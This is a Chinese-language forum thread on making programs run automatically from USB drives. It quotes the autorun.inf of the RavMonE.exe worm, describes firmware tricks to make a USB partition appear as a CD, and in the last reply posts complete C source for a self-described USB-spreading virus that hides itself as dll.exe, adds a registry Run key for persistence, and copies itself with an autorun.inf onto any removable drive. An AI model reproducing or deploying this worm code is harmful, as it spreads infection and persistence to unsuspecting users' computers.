![]() |
让程序在u盘中自动运行
让程序在U盘中自动运行
前段时间那个垃圾RavMonE.exe, 好像是可以的,很多人都中了: 1、添加AUTORUN.INF [AutoRun] open=RavMonE.exe e shellexecute=RavMonE.exe e shell\Auto\command=RavMonE.exe e shell=Auto |
回复: 让程序在u盘中自动运行
二. 开发思路
我们知道光驱插入光盘可以自动运行,所以我们可以让U盘的一个区模拟成光盘的形式。这样我们可以利用autorun.inf,让程序自动运行。 三. 开发步骤 1. 让U盘一个区显示成光盘 这个对于开发过U盘的人来说应该很简单,就是在操作系统发送SCSI设备的 INQUIRY 指令的时候,返回的INQUIRY里面指明设备类型,我们设置为CD设备。具体指令可以参考相关资料(spc3r23.pdf)。我开发的时候INQUIRY返回数据的前几个字节如下:0x05,0x80,0x02,0x02仅供参考。 2. 响应操作系统对这光盘区的指令 成光盘后,操作系统可能会发送一些SCSI指令给这个光盘区。应该响应某些指令,有些并不需要响应。后面我会附录一个我弄过的一个U盘的BusHound监测文件,大家可以参考。最好买一个这样的U盘,然后用BusHound监测通讯过程。 3. 向光盘区写入文件 应该可以把光盘区弄成CDRW,这样直接写入就可以了,但这样需要了解很多协议。由于时间关系,我采用了简单的方法,把需要写入光盘的文件用ISO制作工具弄成一个ISO镜像文件,编写一个小程序向这个光盘区写入ISO镜像文件。程序部分代码附在文档后面,仅供参考。写入的程序最终调用DeviceIoControl函数。文件写入后,再重新拔插U盘就可以了。 四. 说明 这里只是简单说明了原理,如果是刚接触这个,还有很多东西要弄清楚,我是在别人一个普通U盘开发板的基础上添加这个功能的,最后弄通了,感觉很不容易,以前也没有弄过硬件的固件程序。希望对新手有帮助。有什么问题,可以邮件联系交流。 附录: 1. Write ISO程序部分代码: UINT CWriteIsoFileDlg::ThreadWrite(LPVOID pParam) { CWriteIsoFileDlg * p = (CWriteIsoFileDlg*)pParam; CSDsk sd; CString str; HANDLE fh,hFind; WIN32_FIND_DATA FindFileData; ULONGLONG fSize = 0; CFileFind ff; DWORD startAddr = 0; DWORD nBytesRead = 0; PBYTE buf = new BYTE[20480]; memset(buf,0,20480); try { if(!ff.FindFile(p->filename)) { str.Format("找不到文件 %s ",p->filename); throw 1; } ff.FindNextFile(); fh = CreateFile(ff.GetFilePath(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(fh==INVALID_HANDLE_VALUE) { str.Format("打开文件 %s 失败",p->filename); throw 1; } if(!sd.Open()) throw 0; int index = sd.GetDevNum()-1; if(!sd.ReadCapacity(index,0,fSize)) throw 0; if(ff.GetLength()>fSize) { str = "光盘空间不足,不能写入。"; throw 1; } fSize = ff.GetLength(); if(!sd.GetFlashParam(index,0,1,buf)) throw 0; buf[0]&=0xBF; if(!sd.SetFlashParam(index,0,1,buf,false)) throw 0; while(1) { if(ReadFile(fh,buf,20480,&nBytesRead,NULL)) { if(nBytesRead!=0) { if(!sd.Write(index,0,startAddr,40,buf)) { throw 0; } startAddr+=40; memset(buf,0,20480); } else break; } else { str = "读文件错误!"; throw 1; } } //p->MessageBox("写入镜像文件成功!",NULL,MB_OK|MB_ICONINFORMATION); sd.PlugDisk(index,0,true); delete [] buf; exit(0); } catch(int e) { if(e==0) { p->MessageBox(sd.err.GetErrMsg(),NULL,MB_OK|MB_ICONERROR); } else p->MessageBox(str,NULL,MB_OK|MB_ICONERROR); } delete [] buf; exit(-1); return 1; } 2. 可以自启动U盘的BusHound在windowsXp下的监测文件 |
回复: 让程序在u盘中自动运行
基于U盘传播的简单病毒
#include <windows.h> #include <Shlwapi.h> #include <fstream.h> #include <TlHelp32.h> #define TIMER 1//计时器 #define WM_FROMC WM_USER+0 //自定义消息 从C盘中启动 #define WM_FROMU WM_USER+1 //自定义消息 从U盘中启动 //function LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程 //病毒从U盘启动时用到的函数 BOOL FileExist(TCHAR *path);//测试一个文件是否存在 BOOL GetSelfPath(TCHAR *path);//Get the virus's path BOOL FindU(TCHAR *u);//check whether u exist, u[2] BOOL GetSysPath(TCHAR *path);//得到系统路径 BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置 BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性 BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动 //从C盘启动时用到函数 BOOL CopyToUAndSet();//复制自己到U盘 BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件 BOOL FindSelf();//测试自己是否在已经执行了 //global variable TCHAR szExePath[MAX_PATH];//the virus's path TCHAR U[2];//保存U盘的盘符 TCHAR szSysPath[MAX_PATH];//system path //constant const TCHAR *szExeName="dll.exe"; const TCHAR *szAutoRunFile="AutoRun.inf"; int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static TCHAR szAppName[]=TEXT ("virus"); HWND hwnd; MSG msg; WNDCLASS wndclass; wndclass.style =0; wndclass.lpfnWndProc =WndProc; wndclass.cbClsExtra =0; wndclass.cbWndExtra =0; wndclass.hInstance =hInstance; wndclass.hIcon =0; wndclass.hCursor =0; wndclass.hbrBackground =0; wndclass.lpszMenuName =NULL; wndclass.lpszClassName =szAppName; if (!RegisterClass (&wndclass)) { MessageBox (NULL,TEXT("Program requires Windows NT!"), szAppName, MB_IConERROR); return 0; } hwnd = CreateWindow (szAppName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return msg.wParam; } LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam) { switch(message) { case WM_CREATE: //处理一些要下面要用到的全局变量 GetSysPath(szSysPath);//得到系统路径 SetTimer(hwnd,TIMER,5000,0);//启动计时器 GetSelfPath(szExePath);//得到自身的路径 return 0; case WM_TIMER: //timer message if(szExePath[0]=='C') { if(FindU(U)) { SendMessage(hwnd,WM_FROMC,0,0); } } else SendMessage(hwnd,WM_FROMU,0,0); return 0; case WM_FROMC: CopyToUAndSet(); return 0; case WM_FROMU: CopyToSysAndSet(hwnd); return 0; case WM_DESTROY: KillTimer(hwnd,TIMER); PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, message, wParam, lParam); } BOOL GetSelfPath(TCHAR *path) { if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录 { return TRUE; } else return FALSE; } BOOL FindU(TCHAR *u) { u[1]=':'; for(char d='C';d<='Z';d++)//遍历C到Z { u[0]=d; if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘 return TRUE; } return FALSE; } BOOL GetSysPath(TCHAR *path) { return GetSystemDirectory(path,MAX_PATH);//得到系统路径 } BOOL CopyToSysAndSet(HWND hwnd) { TCHAR szPath[MAX_PATH]; lstrcpy(szPath,szSysPath); lstrcat(szPath,"\\"); lstrcat(szPath,szExeName);//得到复制到系统目录的完整目录 if(!FileExist(szPath))//检测是否已经存在复制的文件 { CopyFile(szExePath,szPath,FALSE); RegAutoRun(szPath); return SetFileAttrib(szPath); } else { if(!FindSelf())//检测自己有没有运行 WinExec(szPath,SW_HIDE);//没有就执行 SendMessage(hwnd,WM_CLOSE,0,0);结束自己 } return FALSE; } BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在 { int result; result=PathFileExists(path); if(result==1) return TRUE; else return FALSE; } BOOL SetFileAttrib(TCHAR *path) { return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN); } BOOL RegAutoRun(TCHAR *path)//修改注册表 { HKEY hkey; if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run", &hkey)==ERROR_SUCCESS) { RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path)); RegCloseKey(hkey); return TRUE; } else return FALSE; } BOOL CopyToUAndSet() { TCHAR szPath[MAX_PATH]; lstrcpy(szPath,U); lstrcat(szPath,"\\"); lstrcat(szPath,szExeName);//得到指向U盘的完整目录 TCHAR szAutoFile[MAX_PATH]; lstrcpy(szAutoFile,U); lstrcat(szAutoFile,"\\"); lstrcat(szAutoFile,szAutoRunFile); if(!FileExist(szAutoFile)) { CreateAutoRunFile(szAutoFile); SetFileAttrib(szAutoFile); } if(!FileExist(szPath)) { CopyFile(szExePath,szPath,FALSE); return SetFileAttrib(szPath); } return FALSE; } BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件 { ofstream fout; fout.open(path); if(fout) { fout<<"[AutoRun]"<<endl; fout<<"open=dll.exe e"<<endl; fout<<"shellexecute=dll.exe e"<<endl; fout<<"shell\\Auto\\command=dll.exe e"<<endl; fout<<"shell=Auto"<<endl; fout.close(); return TRUE; } return FALSE; } BOOL FindSelf(){ PROCESSENTRY32 pe; HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe.dwSize=sizeof(PROCESSENTRY32); if(Process32First(hShot,&pe)){ do{ if(lstrcmp(pe.szExeFile,szExeName)==0) { CloseHandle(hShot); return TRUE; } }while(Process32Next(hShot,&pe)); } CloseHandle(hShot); return FALSE; } |
所有的时间均为北京时间。 现在的时间是 03:15 PM. |